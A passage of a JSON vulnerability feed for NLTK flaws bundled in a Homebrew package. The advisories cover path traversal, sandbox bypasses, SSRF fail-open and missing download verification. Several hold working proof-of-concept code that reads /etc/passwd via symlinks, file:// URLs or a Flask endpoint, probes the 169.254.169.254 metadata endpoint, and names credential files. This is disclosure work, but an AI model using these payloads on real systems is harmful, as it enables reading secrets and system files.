follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.\n\n## Proof of concept\n\nSelf-contained, runnable end to end.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"framenet_v17\")\nframe_dir = os.path.join(corpus_root, \"frame\")\nsecret_dir = os.path.join(root, \"outside_framenet_root\")\nos.makedirs(frame_dir)\nos.makedirs(secret_dir)\n\nwith open(os.path.join(corpus_root, \"frRelation.xml\"), \"w\") as f:\n f.write(\"\")\n\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n f.write(\n ''\n \"THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\"\n \"\"\n )\n\n# Attacker plants this inside /frame/. No path separators,\n# so it passes _reject_unsafe_path_component cleanly.\nlink_path = os.path.join(frame_dir, \"evil_link.xml\")\nos.symlink(secret_path, link_path)\n\nreader = FramenetCorpusReader(corpus_root, [])\nreader._frame_idx = {\"__dummy__\": {\"name\": \"__dummy__\"}} # skip unrelated index build\n\nresult = reader.frame_by_name(\"evil_link\") # normal, routine call, no \"..\" anywhere\nprint(\"frame name:\", result[\"name\"])\nprint(\"definition:\", result[\"definition\"])\n```\n\nActual output when run against unpatched `main` (commit `35813c8`):\n\n```\nframe name: StolenFrame\ndefinition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `\"evil_link\"` contains no separators, `..`, or drive prefix.\n\nVerified the same way for the other two affected call sites, `_lu_file()` (`lu.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own `SECURITY.md` names \"shared environments... multi-tenant pipelines\" as its threat model) plus a completely normal API call.\n- Core corpus-reader code, not a demo/GUI tool.\n- Confirmed unintentional: PR #3581's own description states the goal was to route through \"the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode\" and be \"consistent with the validation already used elsewhere in NLTK.\" It doesn't achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).\n\n## Suggested fix\n\nRoute all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62384"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3726"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.2"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-62385","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3728","CVE-2026-62385","GHSA-568f-pv23-39p4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Stable FrameNet and NKJP readers parse outside-root XML","details":"### Summary\n\nPublished `nltk==3.9.4` still contains several XML-reader entrypoints that build parser paths from caller-controlled selectors or trusted-looking index state without preserving the corpus-root boundary.\n\n### Details\n\n- **Vulnerability type:** Path traversal and trusted-root bypass\n- **Affected component:** `FramenetCorpusReader.frame_by_name`, `FramenetCorpusReader.doc`, `FramenetCorpusReader.lu`, `NKJPCorpusReader.header`\n- **Affected versions:** Published `3.9.4` reproduced. Current source `v3.10.0-rc2` acted as a negative control and blocked the same payloads.\n- **Patched versions:** Patched in version 3.10.0, which includes the path-safety rejections seen in the release candidate.\n- **Root cause:** Stable reader paths still construct raw XML filenames from unsafe selectors, poisoned index state, or unsafe file identifiers.\n\nI confirmed four public stable entrypoints return parsed outside-root content: a parent-segment traversal frame name, a poisoned fulltext index filename, a poisoned LU id, and an unsafe NKJP header file identifier. Current source rejects the same payloads with explicit path-safety errors, which shows the bug is real but version-scoped to the published stable package.\n\n### PoC\n\n**Preconditions**\n- The application exposes FrameNet or NKJP reader APIs while trusting NLTK to keep XML parsing inside a corpus root.\n\n**Steps**\n1. Create a minimal FrameNet or NKJP corpus root and place attacker-chosen XML files outside that root.\n2. Feed unsafe selectors or poisoned index state into the relevant public stable `3.9.4` APIs.\n3. Observe `frame_by_name`, `doc`, `lu(...).exemplars`, or `header` return parsed outside-root values.\n4. Run the same payloads against current source and observe explicit path-safety rejections.\n\n**Minimal reproducible excerpt**\n\n```text\nframenet_frame_definition FRAME_LEAK\nframenet_doc_text DOC_LEAK\nframenet_lu_text LU_LEAK\nnkjp_header_title HEADER_LEAK\n```\n\n### Impact\n\nApplications that process attacker-influenced FrameNet or NKJP corpus selectors or state can be made to parse XML outside the trusted corpus root through normal public reader responses.\n\n### Remediation\n\nKeep these reader paths on the same root-confinement model as `CorpusReader.open()` and `nltk.pathsec`. Reject unsafe path components before constructing filenames from frame names, document filenames, LU ids, or NKJP file identifiers.\n\n### Resources\n\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1366-L1369\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1456-L1460\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1803-L1810\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/nkjp.py#L96-L103\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/nkjp.py#L251-L256\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/corpus/reader/framenet.py#L1388-L1399\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/corpus/reader/nkjp.py#L96-L128","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-568f-pv23-39p4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62385"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3579"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3581"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/7d1389d0789c1eca56bd0ed444089e0a3972e3ed"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/bf3bf32786791394a1008258b4917a7f2d4dbcda"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3728.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-path-traversal-via-framenet-and-nkjp-readers"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-62388","published":"2026-08-28T12:17:01Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3722","CVE-2026-62388","GHSA-p3m8-78j2-g5p3"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Default ENFORCE=False Disables All pathsec Security Controls","details":"NLTK's pathsec.py security module defaults to ENFORCE=False (line 24), which means all 8 security validation functions only emit RuntimeWarning instead of raising exceptions when violations are detected.\n\nThe pathsec module was introduced as the fix for CVE-2024-39705 (arbitrary code execution via pickle) and CVE-2026-0846 (path traversal). However, with ENFORCE=False as the default:\n\n1. pathsec.open('/etc/passwd') succeeds (reads the file, emits warning)\n2. pathsec.validate_network_url('http://169.254.169.254/...') succeeds (warning only)\n3. pickle.loads() via nltk.data.load() proceeds despite unsafe source (warning only)\n\nEvery security gate follows the same pattern:\n```python\nENFORCE = os.environ.get('NLTK_PATHSEC_ENFORCE', '').lower() in ('1', 'true', 'yes')\n\ndef validate_something(path):\n if is_violation(path):\n if ENFORCE:\n raise SecurityError('...') # Only raised when env var is set\n else:\n warnings.warn('...', RuntimeWarning) # Default: warning only\n # Execution continues regardless\n```\n\nThis means the security remediations for CVE-2024-39705 and CVE-2026-0846 are effectively disabled by default. Any user who installed NLTK 3.9.x expecting the security fixes to be active is still vulnerable unless they manually set NLTK_PATHSEC_ENFORCE=1.\n\nPoC:\n```python\nimport nltk.pathsec\nimport warnings\n\n# Show that ENFORCE is False by default\nprint(f'ENFORCE = {nltk.pathsec.ENFORCE}') # False\n\n# Attempt to read /etc/passwd through pathsec -- should be blocked\nwith warnings.catch_warnings(record=True) as w:\n warnings.simplefilter('always')\n result = nltk.pathsec.open('/etc/passwd', 'r')\n print(f'File opened: {result.name}') # /etc/passwd\n print(f'Warning emitted: {w[0].message}') # RuntimeWarning (not an exception)\n # Attack succeeds -- file is readable\n```\n\nThe correct default is fail-secure: ENFORCE should be True unless explicitly disabled. The current default makes the security module opt-in rather than opt-out, defeating its purpose.\n\nSuggested fix: Change default to ENFORCE=True. Users who need backwards compatibility can set NLTK_PATHSEC_ENFORCE=0 to explicitly disable.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-p3m8-78j2-g5p3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62388"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3593"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/155e40343cff0bf50d233e274a12e04d1428b1d9"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3722.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-insecure-default-configuration-pathsec"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-63310","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3729","CVE-2026-63310","GHSA-5wp5-5229-5g6q","CVE-2026-12259","GHSA-gf32-cmjh-8m9v"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.3","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection","details":"NLTK's package downloader in nltk/downloader.py does not verify file integrity after download and before extraction.\n\nThe download flow at lines 789-825:\n1. File is downloaded to a temp path via HTTP\n2. os.replace(tmp_filepath, filepath) moves it to the final location (line 799)\n3. Extraction begins via _unzip_iter() (line 825)\n\nBetween steps 2 and 3, there is no SHA-256 verification. The checksum logic exists in _pkg_status() (lines 982-1015) but it is only used BEFORE download as a status check (\"is this package already installed and up-to-date?\"). It is never called after download to verify the file that was actually received.\n\nAttack vectors:\n1. MITM during HTTP download (NLTK downloads from http:// by default on some mirrors)\n2. Race condition on shared filesystems (attacker replaces file between os.replace and _unzip_iter)\n3. DNS poisoning redirecting to attacker-controlled server\n\nPoC:\n```python\nimport nltk\nimport unittest.mock\nimport zipfile\nimport io\nimport os\n\n# Create a malicious zip that will be \"downloaded\"\nmalicious_zip = io.BytesIO()\nwith zipfile.ZipFile(malicious_zip, 'w') as zf:\n zf.writestr('punkt_tab/tokenizers/punkt_tab/english.pickle', \n b'MALICIOUS PAYLOAD - attacker controlled content')\n\n# Patch urllib to return our malicious zip\nwith unittest.mock.patch('urllib.request.urlopen') as mock_urlopen:\n mock_response = unittest.mock.MagicMock()\n mock_response.read.return_value = malicious_zip.getvalue()\n mock_response.headers = {'Content-Length': str(len(malicious_zip.getvalue()))}\n mock_urlopen.return_value = mock_response\n \n # Download proceeds, no integrity check catches the swap\n # nltk.download('punkt_tab') # Would install attacker payload\n```\n\nThis is distinct from CVE-2024-39705 (pickle deserialization via download) and CVE-2025-14009 (zip-slip path traversal). Those address what happens AFTER extraction. This finding addresses the gap BEFORE extraction where integrity is never verified.\n\nSuggested fix: After os.replace() and before _unzip_iter(), compute SHA-256 of the final file and compare against the expected checksum from the package index. Reject and delete the file if the hash does not match.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-5wp5-5229-5g6q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12259"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3449"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/0e26734a61094b628d93e26dc18dd7302567ac46"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/3.9.3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3729.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/659ccf6d-12d4-4d4a-84c0-078633c35a5d"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-missing-post-download-integrity-verification"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-63311","published":"2026-08-28T12:17:01Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3723","CVE-2026-63311","GHSA-3gqm-fcw5-w839"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: SSRF Fail-Open in validate_network_url() via DNS Resolution Failure","details":"There is an SSRF vulnerability in NLTK 3.9.4's network URL validation. The validate_network_url() function in nltk/pathsec.py fails open when DNS resolution returns an error.\n\nThe _resolve_hostname() helper at lines 193-234 catches OSError and ValueError during socket.getaddrinfo() and returns an empty list []. When this happens, the validation loop in validate_network_url() iterates over nothing (for addr in resolved: ... never executes), with no else/fallback check. The function returns normally, and urlopen() proceeds to make the request without any IP validation.\n\nThis means:\n1. If DNS is temporarily unavailable, ALL SSRF protections are disabled\n2. DNS rebinding attacks bypass the check after the LRU cache entry expires\n3. In environments with unreliable resolvers, the protection is permanently bypassed\n\nPoC:\n```python\nimport nltk.pathsec\nimport unittest.mock\n\n# Simulate DNS failure\nwith unittest.mock.patch('socket.getaddrinfo', side_effect=OSError('DNS unavailable')):\n # This SHOULD raise but doesn't -- fails open\n nltk.pathsec.validate_network_url('http://169.254.169.254/latest/meta-data/')\n # Returns normally, allowing SSRF to cloud metadata\n```\n\nThe correct behavior is fail-closed: if DNS resolution fails, the URL should be REJECTED (not allowed). The function should raise an exception or return a failure status when _resolve_hostname() returns an empty list.\n\nThis is distinct from CVE-2024-39705 (which addressed pickle deserialization) and CVE-2026-33236 (which addressed XML path traversal). This finding targets the newly-added pathsec.py security layer introduced to fix those earlier issues.\n\nSuggested fix: Add an explicit check after _resolve_hostname() returns: if the result is empty, raise a SecurityError. Never allow a URL request to proceed when IP validation was impossible.\n\nCVSS Note: The CVSS use SC:H (High subsequent confidentiality) because the advisory explicitly identifies cloud metadata endpoints (169.254.169.254) as an attack target. Access to AWS IMDS or GCP metadata exposes credentials or service account tokens, which constitutes High-impact disclosure on downstream systems. This justifies SC:H over NVD's SC:L.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-3gqm-fcw5-w839"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63311"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3582"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/4a820afa58810cd05049b6c6eae306694d6cfe65"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3723.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-ssrf-via-dns-resolution-failure"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-63312","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3730","CVE-2026-63312","GHSA-x5ph-mj9p-rfr8"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read","details":"## Summary\nSetting `nltk.pathsec.ENFORCE = True` is documented to sandbox all file access to allowed NLTK data directories and raise `PermissionError` on unauthorized access. However, `StreamBackedCorpusView` opens files via `builtins.open()` directly, bypassing `pathsec.validate_path()` entirely. An attacker who can influence the `fileid` argument can read arbitrary local files regardless of the `ENFORCE` setting.\n\n## Details\n`nltk/pathsec.py:274` defines the enforcement point:\n```python\ndef open(file, mode=\"r\", **kwargs):\n validate_path(file, context=\"pathsec.open\")\n return builtins.open(file, mode=mode, **kwargs)\n```\n\n`StreamBackedCorpusView._open()` in `nltk/corpus/reader/util.py` bypasses this entirely for string paths:\n\n```python\n# line 171 — no validate_path() call\nself._eofpos = os.stat(self._fileid).st_size\n\n# line 208 — calls builtins.open directly\nself._stream = open(self._fileid, \"rb\")\n```\n\nAlso affected: `XMLCorpusView` and any corpus reader subclass that passes a raw string `fileid` to `StreamBackedCorpusView`.\n\n## PoC\n```python\n# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass\nfrom flask import Flask, request, jsonify\nimport nltk.pathsec as ps\nfrom nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block\n\n# Strict mode enabled — expected to sandbox all file access\nps.ENFORCE = True\n\napp = Flask(__name__)\n\n@app.post(\"/read\")\ndef read_file():\n fname = request.json.get(\"file\")\n # fileid is user-controlled, passed directly to StreamBackedCorpusView\n # pathsec.ENFORCE = True is ignored — builtins.open() called internally\n view = StreamBackedCorpusView(fname, read_line_block, encoding=\"utf8\")\n return jsonify({\"file\": fname, \"content\": view[0]})\n\napp.run(host=\"0.0.0.0\", port=8000)\n```\nTrigger:\n```\ncurl -s -X POST http://localhost:8000/read \\\n -H \"Content-Type: application/json\" \\\n -d '{\"file\": \"/etc/passwd\"}'\n```\nConfirmed on latest stable NLTK. No privileges required.\n\n## Impact\n- **Type:** Arbitrary Local File Read / Security Control Bypass\n- **CWE:** CWE-22, CWE-284\n- **OWASP:** A01:2021 – Broken Access Control\n\nAffects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the `fileid` passed to NLTK corpus readers. Sensitive targets include `/etc/passwd`, `/proc/self/environ` (may contain `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, etc.), and application config files.\n\nThe core issue is that operators who explicitly set `ENFORCE = True` to harden production deployments are left with a **false security guarantee**.\n\n**Suggested fix:** Replace `builtins.open()` and `os.stat()` in the string-path branch with `nltk.pathsec.open()` and `nltk.pathsec.validate_path()`.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63312"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3588"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/674ea75accdf08eca3782dee0a9c4ed7e0d0025b"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3730.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-65915","published":"2026-09-02T08:43:54Z","modified":"2026-09-17T18:47:55Z","upstream":["PYSEC-2026-3731","CVE-2026-65915","GHSA-72r2-7mfr-5xr9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.0.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.0","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"NLTK: FileSystemPathPointer.open() sandbox check is dead code — arbitrary file read via file:// protocol","details":"### Summary\n\nThere's a logic bug in `FileSystemPathPointer.open()` inside `nltk/data.py`\nthat makes the sandbox check permanently inert. The guard condition is always\n`False` — meaning any file the process can read is accessible by passing a\n`file://` URL to `nltk.data.load()`.\n\n---\n\n### Details\n\nIn `nltk/data.py`, `FileSystemPathPointer.open()` was patched at some point\nwith a comment saying \"SECURITY PATCH ENFORCING SANDBOX\", but the check\ndoesn't work:\n```python\ndef open(self, encoding=None):\n path = os.path.normpath(self._path)\n\n # Block raw absolute reads such as \"/\" \"C:\\\\Windows\" etc.\n if os.path.isabs(path) and path != os.path.normpath(self._path):\n raise ValueError(f\"Direct absolute file access blocked: {path}\")\n\n stream = open(self._path, \"rb\")\n```\n\n`path` is set to `os.path.normpath(self._path)` on line 1, then compared\nagainst `os.path.normpath(self._path)` again in the condition. They are\nalways equal. The `ValueError` never fires.\n\nOn top of that, `__init__` already calls `os.path.abspath()` before storing\n`self._path`, so it's normalized before `open()` is even called. Running\n`normpath` on it again changes nothing.\n\nThe `stream = open(self._path, \"rb\")` line is always reached regardless of\nwhat path was passed in.\n\n---\n\n### PoC\n\nTested on Python 3.11, NLTK 3.9.1, Ubuntu 22.04.\n```python\nimport nltk\nfrom nltk.data import FileSystemPathPointer\n\n# direct construction\nptr = FileSystemPathPointer(\"/etc/passwd\")\nwith ptr.open() as f:\n print(f.read(300))\n\n# via load() using file:// URL\ndata = nltk.data.load(\"file:///etc/passwd\", format=\"raw\")\nprint(data[:300])\n```\n\nBoth print file contents. No exception is raised.\n\n---\n\n### Impact\n\nAny app that lets users influence the string passed to `nltk.data.load()` or\n`nltk.data.find()` is exposed — web APIs, notebook servers, multi-tenant\npipelines. An attacker can read any file the process user has access to:\n`/etc/passwd`, `.env` files, private keys, `~/.aws/credentials`, etc.\n\n## Suggested Fix\n\n**File:** `nltk/data.py` — `FileSystemPathPointer.open()` (lines 378–390)\n\n### What's wrong\n\nLine 387 compares `normpath(self._path)` against itself — always equal,\nso the `ValueError` never fires. The check is dead code.\n`__init__` already calls `abspath()` on construction, so re-running\n`normpath` inside `open()` changes nothing either.\n\n---\n\n### Fix\n\nValidate against the actual list of permitted data directories instead:\n```python\ndef open(self, encoding=None):\n import nltk.data as _d\n allowed = [os.path.abspath(p) for p in _d.path if p]\n if allowed and not any(\n os.path.commonpath([self._path, r]) == r for r in allowed\n ):\n raise ValueError(\n f\"Access outside nltk_data blocked: {self._path!r}\"\n )\n stream = open(self._path, \"rb\")\n if encoding is not None:\n stream = SeekableUnicodeStreamReader(stream, encoding)\n return stream\n```\n\n---\n\n### Why `commonpath` not `startswith`\n\n`startswith` is bypassable by a path that shares a prefix:\n```\n/tmp/nltk_data_evil\".startswith(\"/tmp/nltk_data\") → True ✗\ncommonpath([\"/tmp/nltk_data_evil\", \"/tmp/nltk_data\"]) → \"/tmp\" ✓\n```\n\n---\n\n### Diff\n```diff\n- path = os.path.normpath(self._path)\n- if os.path.isabs(path) and path != os.path.normpath(self._path):\n- raise ValueError(f\"Direct absolute file access blocked: {path}\")\n-\n+ import nltk.data as _d\n+ allowed = [os.path.abspath(p) for p in _d.path if p]\n+ if allowed and not any(\n+ os.path.commonpath([self._path, r]) == r for r in allowed\n+ ):\n+ raise ValueError(f\"Access outside nltk_data blocked: {self._path!r}\")\n stream = open(self._path, \"rb\")\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-72r2-7mfr-5xr9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65915"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3522"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/69db9911fdba914ceeaca7aec6e892d1b14586a9"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3731.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/a510de7b-ffaf-4a83-9bf8-fa7e63f4bd2d"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/nltk-before-arbitrary-file-read-via-filesystempathpointer"}]},{"schema_version":"1.7.3","id":"BREW-acronym-CVE-2026-66393","published":"2026-08-23T20:29:34Z","modified":"2026-09-09T23:40:40Z","upstream":["GHSA-rf74-v2fm-23pw","CVE-2026-66393","PYSEC-2026-3724"],"affected":[{"package":{"ecosystem":"Homebrew","name":"acronym","purl":"pkg:brew/acronym"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.4","resource":"nltk","resource_purl":"pkg:pypi/nltk@3.10.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"nltk","subject_version":"3.10.3","key":"pkg:pypi/nltk@3.10.3","resource":"nltk"}]},"summary":"Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS","details":"### 